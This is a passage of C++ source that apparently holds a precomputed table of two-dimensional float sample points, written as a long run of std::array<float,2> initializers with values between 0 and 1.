0.576713085f}, std::array<float,2>{0.109332994f, 0.380642116f}, std::array<float,2>{0.893623233f, 0.271727562f}, std::array<float,2>{0.248949051f, 0.647498548f}, std::array<float,2>{0.566074967f, 0.761839032f}, std::array<float,2>{0.380145729f, 0.115782537f}, std::array<float,2>{0.993244946f, 0.210623831f}, std::array<float,2>{0.182574078f, 0.986811399f}, std::array<float,2>{0.516038775f, 0.521128058f}, std::array<float,2>{0.490558654f, 0.459079772f}, std::array<float,2>{0.716779351f, 0.354100525f}, std::array<float,2>{0.336482078f, 0.738972247f}, std::array<float,2>{0.874995947f, 0.82231319f}, std::array<float,2>{0.00597245945f, 0.00189979211f}, std::array<float,2>{0.604478717f, 0.0768797174f}, std::array<float,2>{0.413363874f, 0.792305589f}, std::array<float,2>{0.922270715f, 0.676958025f}, std::array<float,2>{0.190566763f, 0.310625672f}, std::array<float,2>{0.801058888f, 0.435084343f}, std::array<float,2>{0.072819382f, 0.621223211f}, std::array<float,2>{0.660129488f, 0.878648579f}, std::array<float,2>{0.275930911f, 0.162284508f}, std::array<float,2>{0.765175462f, 0.18357569f}, std::array<float,2>{0.115939841f, 0.905928433f}, std::array<float,2>{0.648484528f, 0.599785447f}, std::array<float,2>{0.310277551f, 0.415696532f}, std::array<float,2>{0.582366109f, 0.291288167f}, std::array<float,2>{0.395216256f, 0.671289206f}, std::array<float,2>{0.88678503f, 0.812003076f}, std::array<float,2>{0.222606361f, 0.0834577382f}, std::array<float,2>{0.74721998f, 0.0202707853f}, std::array<float,2>{0.373365879f, 0.837229848f}, std::array<float,2>{0.842897117f, 0.726668179f}, std::array<float,2>{0.0315000042f, 0.361827016f}, std::array<float,2>{0.958392024f, 0.450637192f}, std::array<float,2>{0.141346812f, 0.511951149f}, std::array<float,2>{0.535920322f, 0.975974143f}, std::array<float,2>{0.454316437f, 0.195541739f}, std::array<float,2>{0.908849299f, 0.105147541f}, std::array<float,2>{0.206338763f, 0.767841876f}, std::array<float,2>{0.617224157f, 0.635983527f}, std::array<float,2>{0.42531088f, 0.252057254f}, std::array<float,2>{0.672488213f, 0.405674338f}, std::array<float,2>{0.255810827f, 0.587029576f}, std::array<float,2>{0.792334259f, 0.906342149f}, std::array<float,2>{0.0877047405f, 0.130542561f}, std::array<float,2>{0.510555565f, 0.223873571f}, std::array<float,2>{0.480999619f, 0.959695935f}, std::array<float,2>{0.978465736f, 0.547697306f}, std::array<float,2>{0.167208195f, 0.49366644f}, std::array<float,2>{0.846542001f, 0.337690532f}, std::array<float,2>{0.0241521914f, 0.704796314f}, std::array<float,2>{0.698019683f, 0.846825004f}, std::array<float,2>{0.321916461f, 0.0369882621f}, std::array<float,2>{0.854233623f, 0.112068549f}, std::array<float,2>{0.0207630564f, 0.761494935f}, std::array<float,2>{0.688917994f, 0.641313195f}, std::array<float,2>{0.31299141f, 0.267924428f}, std::array<float,2>{0.500151634f, 0.377277792f}, std::array<float,2>{0.473164648f, 0.573120356f}, std::array<float,2>{0.972661018f, 0.929616272f}, std::array<float,2>{0.15628919f, 0.143453285f}, std::array<float,2>{0.681079865f, 0.236419335f}, std::array<float,2>{0.262598991f, 0.94770664f}, std::array<float,2>{0.78900212f, 0.531660318f}, std::array<float,2>{0.0837230235f, 0.479649812f}, std::array<float,2>{0.919415593f, 0.324360967f}, std::array<float,2>{0.213305816f, 0.701337218f}, std::array<float,2>{0.616444528f, 0.861878991f}, std::array<float,2>{0.433371991f, 0.0502682105f}, std::array<float,2>{0.961245179f, 0.15928328f}, std::array<float,2>{0.151565403f, 0.880536318f}, std::array<float,2>{0.541551769f, 0.617273033f}, std::array<float,2>{0.464671969f, 0.43102017f}, std::array<float,2>{0.735722184f, 0.30747965f}, std::array<float,2>{0.367031932f, 0.674288094f}, std::array<float,2>{0.829521894f, 0.793949008f}, std::array<float,2>{0.0451126248f, 0.0704014078f}, std::array<float,2>{0.586634815f, 0.0058173039f}, std::array<float,2>{0.400621265f, 0.827783644f}, std::array<float,2>{0.881229639f, 0.737037778f}, std::array<float,2>{0.230556011f, 0.358272284f}, std::array<float,2>{0.757593989f, 0.453251034f}, std::array<float,2>{0.123607419f, 0.518294454f}, std::array<float,2>{0.643736243f, 0.991228521f}, std::array<float,2>{0.302660972f, 0.204605997f}, std::array<float,2>{0.806171298f, 0.199652657f}, std::array<float,2>{0.0628930479f, 0.970250666f}, std::array<float,2>{0.670102954f, 0.509249985f}, std::array<float,2>{0.267195553f, 0.445419073f}, std::array<float,2>{0.597743571f, 0.366919279f}, std::array<float,2>{0.418572009f, 0.733819544f}, std::array<float,2>{0.935506284f, 0.840095282f}, std::array<float,2>{0.201696441f, 0.0194134694f}, std::array<float,2>{0.708953261f, 0.0811658651f}, std::array<float,2>{0.335328758f, 0.807246745f}, std::array<float,2>{0.861667633f, 0.667251647f}, std::array<float,2>{0.0114439521f, 0.295639068f}, std::array<float,2>{0.987824738f, 0.418562651f}, std::array<float,2>{0.179382041f, 0.597499549f}, std::array<float,2>{0.525111794f, 0.902231216f}, std::array<float,2>{0.497870237f, 0.184821948f}, std::array<float,2>{0.904506803f, 0.0319055393f}, std::array<float,2>{0.238754436f, 0.850200534f}, std::array<float,2>{0.576216996f, 0.710399032f}, std::array<float,2>{0.383705646f, 0.342405081f}, std::array<float,2>{0.637724876f, 0.496384621f}, std::array<float,2>{0.281459033f, 0.552531481f}, std::array<float,2>{0.772129476f, 0.954026163f}, std::array<float,2>{0.099183239f, 0.221879289f}, std::array<float,2>{0.558749795f, 0.125588089f}, std::array<float,2>{0.446055204f, 0.913557887f}, std::array<float,2>{0.945098341f, 0.591558218f}, std::array<float,2>{0.12859042f, 0.401728719f}, std::array<float,2>{0.819451988f, 0.257607549f}, std::array<float,2>{0.0568445064f, 0.638711691f}, std::array<float,2>{0.733076215f, 0.772783279f}, std::array<float,2>{0.353820175f, 0.108184971f}, std::array<float,2>{0.777069569f, 0.0278829876f}, std::array<float,2>{0.103881955f, 0.834780872f}, std::array<float,2>{0.625764787f, 0.720856369f}, std::array<float,2>{0.296114087f, 0.372542351f}, std::array<float,2>{0.569026947f, 0.441252917f}, std::array<float,2>{0.376577884f, 0.506663084f}, std::array<float,2>{0.898016512f, 0.979713976f}, std::array<float,2>{0.244895175f, 0.192063212f}, std::array<float,2>{0.724592388f, 0.179587245f}, std::array<float,2>{0.345286369f, 0.898407102f}, std::array<float,2>{0.825213134f, 0.604440093f}, std::array<float,2>{0.0545610711f, 0.41222319f}, std::array<float,2>{0.949308813f, 0.283884764f}, std::array<float,2>{0.134086937f, 0.656765521f}, std::array<float,2>{0.549814284f, 0.801595807f}, std::array<float,2>{0.441442668f, 0.0897178203f}, std::array<float,2>{0.925985456f, 0.226722062f}, std::array<float,2>{0.193264738f, 0.96332562f}, std::array<float,2>{0.609228194f, 0.558174312f}, std::array<float,2>{0.406456441f, 0.489891589f}, std::array<float,2>{0.660742939f, 0.334135562f}, std::array<float,2>{0.281025231f, 0.713922441f}, std::array<float,2>{0.798608124f, 0.854175448f}, std::array<float,2>{0.0769447312f, 0.0460231602f}, std::array<float,2>{0.522787035f, 0.0940403491f}, std::array<float,2>{0.487351537f, 0.778309941f}, std::array<float,2>{0.998878479f, 0.625771463f}, std::array<float,2>{0.186468512f, 0.260952771f}, std::array<float,2>{0.870738983f, 0.391283959f}, std::array<float,2>{0.000411194836f, 0.581614077f}, std::array<float,2>{0.711946964f, 0.916258037f}, std::array<float,2>{0.343232691f, 0.133815065f}, std::array<float,2>{0.837173223f, 0.154202521f}, std::array<float,2>{0.035976544f, 0.934392989f}, std::array<float,2>{0.745003819f, 0.569935739f}, std::array<float,2>{0.36975503f, 0.389948547f}, std::array<float,2>{0.532015026f, 0.273876786f}, std::array<float,2>{0.460073292f, 0.654613853f}, std::array<float,2>{0.954516828f, 0.753966093f}, std::array<float,2>{0.148194477f, 0.123302564f}, std::array<float,2>{0.654030442f, 0.0616779849f}, std::array<float,2>{0.304880977f, 0.873786688f}, std::array<float,2>{0.761684656f, 0.688399911f}, std::array<float,2>{0.113249421f, 0.313387543f}, std::array<float,2>{0.883663297f, 0.474677712f}, std::array<float,2>{0.226375803f, 0.542645097f}, std::array<float,2>{0.580914855f, 0.937895954f}, std::array<float,2>{0.391027927f, 0.248890162f}, std::array<float,2>{0.983770669f, 0.063368544f}, std::array<float,2>{0.168696716f, 0.781284988f}, std::array<float,2>{0.514330864f, 0.686497033f}, std::array<float,2>{0.477584094f, 0.300509363f}, std::array<float,2>{0.700075269f, 0.427722901f}, std::array<float,2>{0.324686855f, 0.616710544f}, std::array<float,2>{0.850810468f, 0.889295518f}, std::array<float,2>{0.0310486853f, 0.168032318f}, std::array<float,2>{0.622480333f, 0.218617052f}, std::array<float,2>{0.426994473f, 0.998653531f}, std::array<float,2>{0.91246897f, 0.52858597f}, std::array<float,2>{0.210136652f, 0.467527628f}, std::array<float,2>{0.793494344f, 0.350319982f}, std::array<float,2>{0.091630429f, 0.745497823f}, std::array<float,2>{0.678425968f, 0.819668651f}, std::array<float,2>{0.252504915f, 0.00900734868f}, std::array<float,2>{0.750142813f, 0.0979385823f}, std::array<float,2>{0.119205624f, 0.773911357f}, std::array<float,2>{0.644721389f, 0.631980658f}, std::array<float,2>{0.298086792f, 0.262309909f}, std::array<float,2>{0.590601683f, 0.394600004f}, std::array<float,2>{0.404804707f, 0.585017323f}, std::array<float,2>{0.87518239f, 0.920022905f}, std::array<float,2>{0.228978008f, 0.136799932f}, std::array<float,2>{0.740067959f, 0.231857881f}, std::array<float,2>{0.362225801f, 0.965891063f}, std::array<float,2>{0.83255434f, 0.561997056f}, std::array<float,2>{0.0397610627f, 0.485016912f}, std::array<float,2>{0.965064764f, 0.329488784f}, std::array<float,2>{0.154836029f, 0.717981458f}, std::array<float,2>{0.545177579f, 0.855526507f}, std::array<float,2>{0.466316968f, 0.0406677537f}, std::array<float,2>{0.917462707f, 0.175285161f}, std::array<float,2>{0.215494677f, 0.890846193f}, std::array<float,2>{0.610677719f, 0.607022345f}, std::array<float,2>{0.436503381f, 0.409852415f}, std::array<float,2>{0.683912158f, 0.285569966f}, std::array<float,2>{0.260255814f, 0.661103904f}, std::array<float,2>{0.784735382f, 0.7987023f}, std::array<float,2>{0.078689523f, 0.0922658592f}, std::array<float,2>{0.507279634f, 0.0256469175f}, std::array<float,2>{0.470528901f, 0.830915451f}, std::array<float,2>{0.970243275f, 0.724481404f}, std::array<float,2>{0.161572397f, 0.368453383f}, std::array<float,2>{0.857442558f, 0.443969041f}, std::array<float,2>{0.0180126503f, 0.50379765f}, std::array<float,2>{0.694362879f, 0.98346132f}, std::array<float,2>{0.31768012f, 0.190240189f}, std::array<float,2>{0.8141855f, 0.214437366f}, std::array<float,2>{0.0623431131f, 0.995436847f}, std::array<float,2>{0.730173111f, 0.525039911f}, std::array<float,2>{0.357150257f, 0.461807996f}, std::array<float,2>{0.555969715f, 0.345540702f}, std::array<float,2>{0.452055961f, 0.747493029f}, std::array<float,2>{0.94119978f, 0.812803328f}, std::array<float,2>{0.129658952f, 0.0119008105f}, std::array<float,2>{0.634078503f, 0.0695703775f}, std::array<float,2>{0.286374003f, 0.785634518f}, std::array<float,2>{0.768371463f, 0.682119727f}, std::array<float,2>{0.0944989324f, 0.301882118f}, std::array<float,2>{0.898772776f, 0.423787773f}, std::array<float,2>{0.238249406f, 0.612674952f}, std::array<float,2>{0.571989655f, 0.88557601f}, std::array<float,2>{0.38965258f, 0.166452304f}, std::array<float,2>{0.990398228f, 0.0547015034f}, std::array<float,2>{0.175452024f, 0.870809913f}, std::array<float,2>{0.530570209f, 0.693383396f}, std::array<float,2>{0.492426574f, 0.316565067f}, std::array<float,2>{0.706660271f, 0.470542073f}, std::array<float,2>{0.331291407f, 0.544762671f}, std::array<float,2>{0.865325689f, 0.944023252f}, std::array<float,2>{0.0134887714f, 0.242602125f}, std::array<float,2>{0.595719218f, 0.15040496f}, std::array<float,2>{0.414081305f, 0.933023095f}, std::array<float,2>{0.933475614f, 0.564247072f}, std::array<float,2>{0.198962763f, 0.384664446f}, std::array<float,2>{0.810228825f, 0.279784203f}, std::array<float,2>{0.0686798543f, 0.650351524f}, std::array<float,2>{0.66705066f, 0.753478765f}, std::array<float,2>{0.270429462f, 0.117190823f}, std::array<float,2>{0.871218503f, 0.00195507868f}, std::array<float,2>{0.00579137076f, 0.822084844f}, std::array<float,2>{0.717399776f, 0.740910888f}, std::array<float,2>{0.339396477f, 0.351628602f}, std::array<float,2>{0.518898726f, 0.458639801f}, std::array<float,2>{0.489542037f, 0.522026479f}, std::array<float,2>{0.994579971f, 0.985976934f}, std::array<float,2>{0.1808144f, 0.208496779f}, std::array<float,2>{0.657877088f, 0.160635427f}, std::array<float,2>{0.275115997f, 0.875259995f}, std::array<float,2>{0.802780569f, 0.623804808f}, std::array<float,2>{0.0710362419f, 0.437019169f}, std::array<float,2>{0.923835397f, 0.30897364f}, std::array<float,2>{0.187724635f, 0.679294944f}, std::array<float,2>{0.603483677f, 0.789389849f}, std::array<float,2>{0.410229653f, 0.0754214451f}, std::array<float,2>{0.94644618f, 0.240301624f}, std::array<float,2>{0.13748765f, 0.952324748f}, std::array<float,2>{0.552806735f, 0.535985231f}, std::array<float,2>{0.438733816f, 0.481415749f}, std::array<float,2>{0.718763113f, 0.320390254f}, std::array<float,2>{0.348630339f, 0.695521116f}, std::array<float,2>{0.822811425f, 0.867091f}, std::array<float,2>{0.0468822122f, 0.0520067103f}, std::array<float,2>{0.563390791f, 0.114059933f}, std::array<float,2>{0.382719487f, 0.765415728f}, std::array<float,2>{0.891547441f, 0.6452232f}, std::array<float,2>{0.247121111f, 0.270149589f}, std::array<float,2>{0.77771467f, 0.382736564f}, std::array<float,2>{0.10731826f, 0.574237347f}, std::array<float,2>{0.630885303f, 0.92568481f}, std::array<float,2>{0.291618407f, 0.146900997f}, std::array<float,2>{0.790802896f, 0.13207756f}, std::array<float,2>{0.0894890651f, 0.908267856f}, std::array<float,2>{0.675659597f, 0.58854723f}, std::array<float,2>{0.25689742f, 0.404209524f}, std::array<float,2>{0.620764315f, 0.250707567f}, std::array<float,2>{0.422913343f, 0.633571088f}, std::array<float,2>{0.90648669f, 0.767252147f}, std::array<float,2>{0.203368247f, 0.10332752f}, std::array<float,2>{0.696037292f, 0.0384226106f}, std::array<float,2>{0.323478281f, 0.843770206f}, std::array<float,2>{0.845331788f, 0.705554128f}, std::array<float,2>{0.0267649721f, 0.338297457f}, std::array<float,2>{0.97966826f, 0.495128185f}, std::array<float,2>{0.164874494f, 0.549773932f}, std::array<float,2>{0.508833349f, 0.95718044f}, std::array<float,2>{0.483075142f, 0.2255079f}, std::array<float,2>{0.890149832f, 0.0848183855f}, std::array<float,2>{0.219378963f, 0.81044668f}, std::array<float,2>{0.585366607f, 0.669148922f}, std::array<float,2>{0.397684485f, 0.28989625f}, std::array<float,2>{0.650535464f, 0.416867435f}, std::array<float,2>{0.311910391f, 0.598887682f}, std::array<float,2>{0.762117565f, 0.903032422f}, std::array<float,2>{0.114690728f, 0.180149421f}, std::array<float,2>{0.537579417f, 0.198643863f}, std::array<float,2>{0.455909401f, 0.973587692f}, std::array<float,2>{0.960488319f, 0.514736772f}, std::array<float,2>{0.14425011f, 0.45206666f}, std::array<float,2>{0.841329515f, 0.36041674f}, std::array<float,2>{0.0336360931f, 0.730387926f}, std::array<float,2>{0.748318255f, 0.838208556f}, std::array<float,2>{0.371817052f, 0.022595441f}, std::array<float,2>{0.830561697f, 0.0735528916f}, std::array<float,2>{0.0430155583f, 0.796850681f}, std::array<float,2>{0.737882972f, 0.672302783f}, std::array<float,2>{0.3638677f, 0.304714948f}, std::array<float,2>{0.539115131f, 0.432136863f}, std::array<float,2>{0.461421907f, 0.619588792f}, std::array<float,2>{0.96448487f, 0.881939113f}, std::array<float,2>{0.148626223f, 0.157988533f}, std::array<float,2>{0.641894877f, 0.206083313f}, std::array<float,2>{0.303058863f, 0.990023315f}, std::array<float,2>{0.755374372f, 0.515937567f}, std::array<float,2>{0.122922689f, 0.455481917f}, std::array<float,2>{0.880404115f, 0.356158882f}, std::array<float,2>{0.233912349f, 0.735637486f}, std::array<float,2>{0.589353561f, 0.824975431f}, std::array<float,2>{0.400271475f, 0.00753201032f}, std::array<float,2>{0.976215601f, 0.142370015f}, std::array<float,2>{0.159278423f, 0.927071512f}, std::array<float,2>{0.503630459f, 0.570612371f}, std::array<float,2>{0.475933671f, 0.376348853f}, std::array<float,2>{0.691101849f, 0.26652053f}, std::array<float,2>{0.315692395f, 0.643401802f}, std::array<float,2>{0.853153169f, 0.75962621f}, std::array<float,2>{0.0226132143f, 0.11044132f}, std::array<float,2>{0.6135602f, 0.0485440381f}, std::array<float,2>{0.431000024f, 0.860846877f}, std::array<float,2>{0.920040131f, 0.700755417f}, std::array<float,2>{0.212199762f, 0.326797843f}, std::array<float,2>{0.786412954f, 0.476908505f}, std::array<float,2>{0.0857986584f, 0.534886241f}, std::array<float,2>{0.6826545f, 0.94565028f}, std::array<float,2>{0.264228255f, 0.234526977f}, std::array<float,2>{0.771428585f, 0.219927549f}, std::array<float,2>{0.100056566f, 0.955927849f}, std::array<float,2>{0.640101135f, 0.55356282f}, std::array<float,2>{0.283462018f, 0.498373061f}, std::array<float,2>{0.574240565f, 0.341599554f}, std::array<float,2>{0.38606602f, 0.708530068f}, std::array<float,2>{0.904031456f, 0.8493312f}, std::array<float,2>{0.241113827f, 0.0333566442f}, std::array<float,2>{0.731423557f, 0.107115276f}, std::array<float,2>{0.353324622f, 0.76972419f}, std::array<float,2>{0.817662001f, 0.637143254f}, std::array<float,2>{0.0556294434f, 0.253950059f}, std::array<float,2>{0.942084491f, 0.399143934f}, std::array<float,2>{0.126681969f, 0.592562497f}, std::array<float,2>{0.562291741f, 0.910988092f}, std::array<float,2>{0.449125201f, 0.127975747f}, std::array<float,2>{0.93736136f, 0.0163400993f}, std::array<float,2>{0.200095236f, 0.842993081f}, std::array<float,2>{0.601413906f, 0.730710208f}, std::array<float,2>{0.421066999f, 0.363391459f}, std::array<float,2>{0.669151187f, 0.448017865f}, std::array<float,2>{0.26823011f, 0.510064423f}, std::array<float,2>{0.808152854f, 0.971455097f}, std::array<float,2>{0.0659326166f, 0.201423064f}, std::array<float,2>{0.526731074f, 0.185666263f}, std::array<float,2>{0.499393433f, 0.899946988f}, std::array<float,2>{0.985770047f, 0.595646977f}, std::array<float,2>{0.177236244f, 0.420811951f}, std::array<float,2>{0.860942721f, 0.293978065f}, std::array<float,2>{0.00781777501f, 0.665085196f}, std::array<float,2>{0.70910579f, 0.805064499f}, std::array<float,2>{0.333256125f, 0.0797365978f}, std::array<float,2>{0.800440788f, 0.0431425795f}, std::array<float,2>{0.0755333379f, 0.853029191f}, std::array<float,2>{0.66334945f, 0.711073279f}, std::array<float,2>{0.278842926f, 0.333260387f}, std::array<float,2>{0.605586052f, 0.492002636f}, std::array<float,2>{0.409349591f, 0.554849982f}, std::array<float,2>{0.92877084f, 0.962472796f}, std::array<float,2>{0.193913177f, 0.229123548f}, std::array<float,2>{0.714093685f, 0.136450201f}, std::array<float,2>{0.340441942f, 0.915482044f}, std::array<float,2>{0.868327379f, 0.578671634f}, std::array<float,2>{0.00225068978f, 0.394274145f}, std::array<float,2>{0.997063935f, 0.258505851f}, std::array<float,2>{0.184390023f, 0.627734065f}, std::array<float,2>{0.520035446f, 0.779517651f}, std::array<float,2>{0.486292213f, 0.0970473066f}, std::array<float,2>{0.894848108f, 0.193802446f}, std::array<float,2>{0.242531851f, 0.977040172f}, std::array<float,2>{0.566972733f, 0.505105972f}, std::array<float,2>{0.377827287f, 0.437711358f}, std::array<float,2>{0.627378047f, 0.373242706f}, std::array<float,2>{0.294639409f, 0.719396234f}, std::array<float,2>{0.774838388f, 0.833511114f}, std::array<float,2>{0.103055216f, 0.0304681621f}, std::array<float,2>{0.548320055f, 0.0867370963f}, std::array<float,2>{0.444420218f, 0.80318445f}, std::array<float,2>{0.951446831f, 0.659999013f}, std::array<float,2>{0.13561663f, 0.282034487f}, std::array<float,2>{0.827500045f, 0.410651892f}, std::array<float,2>{0.0508017242f, 0.601767898f}, std::array<float,2>{0.724990487f, 0.894871116f}, std::array<float,2>{0.34739092f, 0.177110836f}, std::array<float,2>{0.847762167f, 0.170404688f}, std::array<float,2>{0.0284319669f, 0.88720274f}, std::array<float,2>{0.701831639f, 0.615233958f}, std::array<float,2>{0.327489495f, 0.429206073f}, std::array<float,2>{0.513103127f, 0.297083616f}, std::array<float,2>{0.478950083f, 0.683761597f}, std::array<float,2>{0.981509566f, 0.784261942f}, std::array<float,2>{0.170096666f, 0.0657553002f}, std::array<float,2>{0.676554322f, 0.00992202107f}, std::array<float,2>{0.251745701f, 0.818229079f}, std::array<float,2>{0.79533124f, 0.743851185f}, std::array<float,2>{0.0929314196f, 0.348605901f}, std::array<float,2>{0.91109103f, 0.466790199f}, std::array<float,2>{0.208529025f, 0.53009969f}, std::array<float,2>{0.62368983f, 0.997843742f}, std::array<float,2>{0.429212868f, 0.216069996f}, std::array<float,2>{0.95629251f, 0.122727707f}, std::array<float,2>{0.145851165f, 0.755896211f}, std::array<float,2>{0.533614576f, 0.652943194f}, std::array<float,2>{0.458158672f, 0.277111828f}, std::array<float,2>{0.743466079f, 0.387108415f}, std::array<float,2>{0.367978007f, 0.567948878f}, std::array<float,2>{0.837998986f, 0.936937273f}, std::array<float,2>{0.0383104272f, 0.155352339f}, std::array<float,2>{0.579338849f, 0.246942118f}, std::array<float,2>{0.392611563f, 0.940279305f}, std::array<float,2>{0.885609627f, 0.539486885f}, std::array<float,2>{0.223675832f, 0.473461419f}, std::array<float,2>{0.759462178f, 0.31596911f}, std::array<float,2>{0.110906102f, 0.690943062f}, std::array<float,2>{0.655736268f, 0.872268617f}, std::array<float,2>{0.308408082f, 0.0587305278f}, std::array<float,2>{0.811703563f, 0.119074792f}, std::array<float,2>{0.0679529756f, 0.752443254f}, std::array<float,2>{0.665995598f, 0.648604333f}, std::array<float,2>{0.271549076f, 0.280293703f}, std::array<float,2>{0.594831526f, 0.383359045f}, std::array<float,2>{0.417074859f, 0.562909901f}, std::array<float,2>{0.930185378f, 0.932114899f}, std::array<float,2>{0.195361868f, 0.151921719f}, std::array<float,2>{0.704349577f, 0.24412106f}, std::array<float,2>{0.32977736f, 0.945182502f}, std::array<float,2>{0.864074111f, 0.543244004f}, std::array<float,2>{0.0153319268f, 0.46876213f}, std::array<float,2>{0.98895061f, 0.317509711f}, std::array<float,2>{0.173157528f, 0.694627523f}, std::array<float,2>{0.52836287f, 0.869290888f}, std::array<float,2>{0.495829403f, 0.0565691777f}, std::array<float,2>{0.901098073f, 0.167918965f}, std::array<float,2>{0.235712767f, 0.886176348f}, std::array<float,2>{0.572976291f, 0.611404657f}, std::array<float,2>{0.388403416f, 0.422266454f}, std::array<float,2>{0.635216773f, 0.300923079f}, std::array<float,2>{0.288220674f, 0.683350503f}, std::array<float,2>{0.766183496f, 0.786922693f}, std::array<float,2>{0.0976498574f, 0.0692621395f}, std::array<float,2>{0.558101058f, 0.0134880645f}, std::array<float,2>{0.450986862f, 0.814112425f}, std::array<float,2>{0.937807858f, 0.747055173f}, std::array<float,2>{0.131860137f, 0.343758315f}, std::array<float,2>{0.815605462f, 0.462362945f}, std::array<float,2>{0.0599127002f, 0.523928761f}, std::array<float,2>{0.726790011f, 0.995048523f}, std::array<float,2>{0.358178586f, 0.213799357f}, std::array<float,2>{0.855741084f, 0.190779582f}, std::array<float,2>{0.0173287783f, 0.983052909f}, std::array<float,2>{0.693101108f, 0.502900541f}, std::array<float,2>{0.318684131f, 0.444623619f}, std::array<float,2>{0.504541576f, 0.367944866f}, std::array<float,2>{0.472549707f, 0.722711802f}, std::array<float,2>{0.971493185f, 0.831773818f}, std::array<float,2>{0.162682846f, 0.0264646187f}, std::array<float,2>{0.686202228f, 0.0928697884f}, std::array<float,2>{0.259024262f, 0.796905279f}, std::array<float,2>{0.781324863f, 0.661979258f}, std::array<float,2>{0.0817909241f, 0.286251038f}, std::array<float,2>{0.914298475f, 0.408898264f}, std::array<float,2>{0.21707283f, 0.606324136f}, std::array<float,2>{0.612635791f, 0.892303944f}, std::array<float,2>{0.433967143f, 0.174453229f}, std::array<float,2>{0.968617678f, 0.0399766378f}, std::array<float,2>{0.152465805f, 0.857058406f}, std::array<float,2>{0.543153584f, 0.717126608f}, std::array<float,2>{0.468005657f, 0.328148693f}, std::array<float,2>{0.740776956f, 0.485523522f}, std::array<float,2>{0.361073166f, 0.560771167f}, std::array<float,2>{0.834462464f, 0.965712845f}, std::array<float,2>{0.0415820628f, 0.231160879f}, std::array<float,2>{0.591919065f, 0.137831539f}, std::array<float,2>{0.402922153f, 0.921768665f}, std::array<float,2>{0.877644241f, 0.584874034f}, std::array<float,2>{0.22743623f, 0.395860761f}, std::array<float,2>{0.753320992f, 0.263385862f}, std::array<float,2>{0.118515737f, 0.631167769f}, std::array<float,2>{0.647872388f, 0.774692595f}, std::array<float,2>{0.299674958f, 0.0995323658f}, std::array<float,2>{0.84265238f, 0.0218524896f}, std::array<float,2>{0.0330197588f, 0.83973825f}, std::array<float,2>{0.74652487f, 0.728583395f}, std::array<float,2>{0.374516785f, 0.360300452f}, std::array<float,2>{0.537103713f, 0.452516496f}, std::array<float,2>{0.453897357f, 0.514591634f}, std::array<float,2>{0.957228541f, 0.973935366f}, std::array<float,2>{0.142155781f, 0.197772384f}, std::array<float,2>{0.650277853f, 0.181609467f}, std::array<float,2>{0.308742344f, 0.904246032f}, std::array<float,2>{0.763897836f, 0.598297715f}, std::array<float,2>{0.116385318f, 0.417356253f}, std::array<float,2>{0.888525486f, 0.290593863f}, std::array<float,2>{0.220747635f, 0.668755412f}, std::array<float,2>{0.583501101f, 0.809501112f}, std::array<float,2>{0.39640522f, 0.0857553184f}, std::array<float,2>{0.977488279f, 0.225742713f}, std::array<float,2>{0.166642666f, 0.958234727f}, std::array<float,2>{0.51139605f, 0.549869657f}, std::array<float,2>{0.481897295f, 0.494984567f}, std::array<float,2>{0.699177504f, 0.339021504f}, std::array<float,2>{0.320760459f, 0.706817925f}, std::array<float,2>{0.846991777f, 0.844994366f}, std::array<float,2>{0.0248238835f, 0.0374278501f}, std::array<float,2>{0.618866086f, 0.101722881f}, std::array<float,2>{0.424243033f, 0.766221464f}, std::array<float,2>{0.909241974f, 0.634275496f}, std::array<float,2>{0.205957144f, 0.251531094f}, std::array<float,2>{0.791432738f, 0.40293327f}, std::array<float,2>{0.0865635872f, 0.589723051f}, std::array<float,2>{0.672975123f, 0.909939826f}, std::array<float,2>{0.254248887f, 0.131146461f}, std::array<float,2>{0.780834973f, 0.14756766f}, std::array<float,2>{0.1078704f, 0.924500883f}, std::array<float,2>{0.630481064f, 0.57573241f}, std::array<float,2>{0.290292412f, 0.38144812f}, std::array<float,2>{0.56451267f, 0.270851821f}, std::array<float,2>{0.379561156f, 0.645624995f}, std::array<float,2>{0.892990887f, 0.764415085f}, std::array<float,2>{0.24923031f, 0.11504887f}, std::array<float,2>{0.722087026f, 0.0508971512f}, std::array<float,2>{0.35011518f, 0.8654719f}, std::array<float,2>{0.821983278f, 0.69705373f}, std::array<float,2>{0.0492290892f, 0.32215789f}, std::array<float,2>{0.94898963f, 0.482219875f}, std::array<float,2>{0.140603408f, 0.536774337f}, std::array<float,2>{0.551081896f, 0.951825917f}, std::array<float,2>{0.439845443f, 0.241986588f}, std::array<float,2>{0.923011541f, 0.0748899803f}, std::array<float,2>{0.189865544f, 0.790361285f}, std::array<float,2>{0.604766488f, 0.67810297f}, std::array<float,2>{0.412932307f, 0.310351193f}, std::array<float,2>{0.658407509f, 0.435700059f}, std::array<float,2>{0.276829839f, 0.624638975f}, std::array<float,2>{0.801864266f, 0.87667495f}, std::array<float,2>{0.073507607f, 0.161171749f}, std::array<float,2>{0.517208815f, 0.207235873f}, std::array<float,2>{0.49141416f, 0.984443247f}, std::array<float,2>{0.992576957f, 0.523249865f}, std::array<float,2>{0.183326364f, 0.457392007f}, std::array<float,2>{0.873508394f, 0.352731049f}, std::array<float,2>{0.00755897211f, 0.741318166f}, std::array<float,2>{0.715498328f, 0.821232319f}, std::array<float,2>{0.337001652f, 0.00385407405f}, std::array<float,2>{0.863216281f, 0.0784552395f}, std::array<float,2>{0.0105643487f, 0.806456685f}, std::array<float,2>{0.707511067f, 0.664726377f}, std::array<float,2>{0.334780097f, 0.293352574f}, std::array<float,2>{0.524073303f, 0.421651065f}, std::array<float,2>{0.496245146f, 0.594382644f}, std::array<float,2>{0.98730284f, 0.899292707f}, std::array<float,2>{0.17811501f, 0.187301666f}, std::array<float,2>{0.671012998f, 0.202305853f}, std::array<float,2>{0.265942544f, 0.972195148f}, std::array<float,2>{0.804737628f, 0.511718273f}, std::array<float,2>{0.064385578f, 0.448898822f}, std::array<float,2>{0.934206307f, 0.364323467f}, std::array<float,2>{0.202213809f, 0.732180655f}, std::array<float,2>{0.59867841f, 0.842071652f}, std::array<float,2>{0.419783175f, 0.0173464362f}, std::array<float,2>{0.943489432f, 0.126957297f}, std::array<float,2>{0.127695367f, 0.911584496f}, std::array<float,2>{0.560381353f, 0.593321681f}, std::array<float,2>{0.447184384f, 0.39974013f}, std::array<float,2>{0.733808875f, 0.255618393f}, std::array<float,2>{0.354851454f, 0.638057709f}, std::array<float,2>{0.818634689f, 0.770976603f}, std::array<float,2>{0.0578163266f, 0.105951563f}, std::array<float,2>{0.577448726f, 0.0344309658f}, std::array<float,2>{0.383868337f, 0.848148584f}, std::array<float,2>{0.905814469f, 0.707605898f}, std::array<float,2>{0.239571556f, 0.340009242f}, std::array<float,2>{0.773303807f, 0.499660343f}, std::array<float,2>{0.0981757566f, 0.55372858f}, 